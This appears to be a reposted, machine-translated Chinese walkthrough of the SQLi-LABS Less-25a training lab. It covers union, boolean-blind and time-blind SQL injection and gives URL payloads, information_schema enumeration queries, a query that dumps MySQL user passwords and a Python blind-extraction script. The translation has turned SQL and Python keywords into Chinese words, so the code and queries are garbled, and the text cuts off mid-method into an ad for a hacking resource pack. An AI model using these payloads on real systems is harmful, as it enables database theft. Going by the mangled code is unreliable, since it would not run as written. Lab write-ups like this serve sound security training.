SQLi LABS Less 25a 联合注入+布尔盲注+时间盲注_sqllab25a,基于布尔的sql注入

SQLi LABS Less 25a 联合注入+布尔盲注+时间盲注_sqllab25a第一步、判断注入点
地址栏输入:?id1 anandd 1 – a,页面正常显示;
地址栏输入&#xff1a

第一步、判断注入点

如果在地址栏中输入?id=1和1 a,页面将正常显示。

如果在地址栏输入“?id=1 anandd 0 a”,页面会出现异常(空)。

第二步、判断字段数

提示:order 中包含过滤关键字or ,必须替换为orderr 。

在地址栏中输入:

?id=1 按1 a 排序

?id=1 2x a

?id=1 3 次 a

?id=1 4 次 a

如果按第4 列排序,将开始显示错误(空),并且已确认的项目数将变为空。

第三步、判断显示位

在地址栏中输入“?id=0 Union select 1,2,3 a”。

第四步、脱库

以您当前的数据库为例,在地址栏中键入以下内容:

?id=0 联合选择1,

(数据库())

,3–a

对于其他数据库删除操作,只需将下图中圈出的位置替换为您的SQL语句即可。

常用的排除语句有:

# 获取所有数据库

选择group_concat(模式名称)

来自information_schema.schemata

# 获取安全库中的所有表

选择group_concat(表名)

来自information_schema.tables

其中表模式=\’安全\’

# 获取users表的所有字段

选择group_concat(列名)

来自information_schema.columns

其中table_schema=\’安全\’ 和table_name=\’用户\’

# 获取数据库管理员用户密码

选择group_concat(用户,密码)

来自mysql.user user=\’mituan\’

方式二:布尔盲注

有关如何使用布尔盲注的详细说明,请参阅我的其他文章。

布尔盲注如何使用详解,原理+步骤+实用教程

第一步、判断注入点

如果在地址栏中输入?id=1和1 a,页面将正常显示。

如果在地址栏输入“?id=1 anandd 0 a”,页面会出现异常(空)。

第二步、判断长度

检查当前使用的数据库名称的长度。如果长度大于1,则在地址栏中输入。

?id=1 和长度(

(数据库())

) 1——一个

库名称的长度必须大于1,这样页面才能正常显示并确认有效负载可用。

从1 确定长度并稍后使用脚本进行测试。

第三步、枚举字符

截取当前数据库名称的第一个字符,将其转换为ASCLL 代码,并检查它是否大于1。在地址栏中输入:

?id=1 和ascii(

子字符串(

(数据库())

,1,1)

) 1——一个

字符的ASCLL 代码必须大于1,以确保页面显示正确且负载可用。

接下来判断字符的ASCLL码是否等于(32~126)。

成功确定第一个字符后,依次确定其他字符,然后使用脚本进行测试。

脱库

Python自动推理脚本如下,可以根据需要进行修改。

导入请求

# 将URL 替换为您的射击场级别URL

# 更改两个对应的payload

# 目标URL(无参数)

URL=\’http://844fdfebce5d493b9f82451290bc4688.app.mituan.zone/Less-25a/\’

# 用于推断长度的有效负载

Payload_len=\’\’?id=1 和长度(

(数据库())

)={n} — a — a\’\’\’

# 用于枚举字符的有效负载

Payload_str=\’\’?id=1 anandd ascii(

子字符串(

(数据库())

,{l},1)

)={n} — 一个\’\’\’

# 获取长度

def getLength(url, 有效负载):

length=1 # 初始测试长度为1

而True:

Response=request.get(url=url+payload_len.format(n=长度))

# 如果页面上存在该内容则表示成功。

如果响应中包含“您的登录名”。文本:

print(\’长度测试完成。长度为:\’, length,)

返回长度;

: 其他

print(\’测试长度:\’,length)

length +=1 # 增加测试长度

# 获取字符

def getStr(url, 负载, 长度):

str=\’\’ #初始表名/库名为空

# 在循环的第一级截取每个字符

: 表示范围(1, 长度+ 1) 内的l

# 循环的第二级枚举了截取该字符的所有可能性。

对于(33, 126): 范围内的n

响应=request.get(url=url+payload_str.format(l=l, n=n))

# print(\’猜猜\’, n)

# 如果页面上存在该内容则表示成功。

如果响应中包含“您的登录名”。文本:

字符串+=字符(n)

print(\’第\’, l, \’成功猜出第\’个字符: \’, str)

休息;

返回一个字符串。

# 开始猜测

长度=getLength(url, Payload_len)

getStr(url,payload_str,长度)

执行结果如下。

对于其他数据库删除操作,只需将下图中圈出的位置替换为您的SQL语句即可。

常用的库删除语句指向方法1的末尾。

方式三:时间盲注

有关如何使用时间盲注的详细说明,请参阅我的另一篇文章。

SQL注入时盲注入,原理+步骤+实用思路

第一步、判断注入点

如果在地址栏中输入?id=1和1 a,页面将正常显示。

如果在地址栏输入“?id=1 anandd 0 a”,页面会出现异常(空)。

第二步、判断长度

检查当前使用的数据库名称长度是否大于1。如果大于1,请在地址栏中键入以下内容:

?id=1 和if(

(长度(

(数据库())

) 1)

,睡眠(5),3) — 一个

库名称的长度必须大于1,因此页面将延迟响应5秒以确保有效负载可用。

给大家的福利

从基础零开始

对于刚接触网络安全的学生,我们创建了详细的学习和成长路线图。这可以说是最科学、最系统的学习路线。每个人都可以遵循这个大方向。

同时,还根据成长路线提供了每个部分的支持视频。

由于篇幅有限,仅包含部分信息。

网络安全面试问题

绿色联盟网络保护行动

以及每个人最喜欢的黑客技术

网络安全源码合集+工具包

所有信息总计282G。如果想要《网络安全入门+黑客进阶学习资源包》全套,可以扫描下面二维码获取(扫码有问题可以在评论区留言获取)。那个)~

以上#SQLi LABS Less 25a联合注入+布尔盲注+时间盲注_sqllab25a相关内容来源网络,仅供大家参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92222.html

(0)
CSDN的头像CSDN
上一篇 2024年6月25日
下一篇 2024年6月25日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注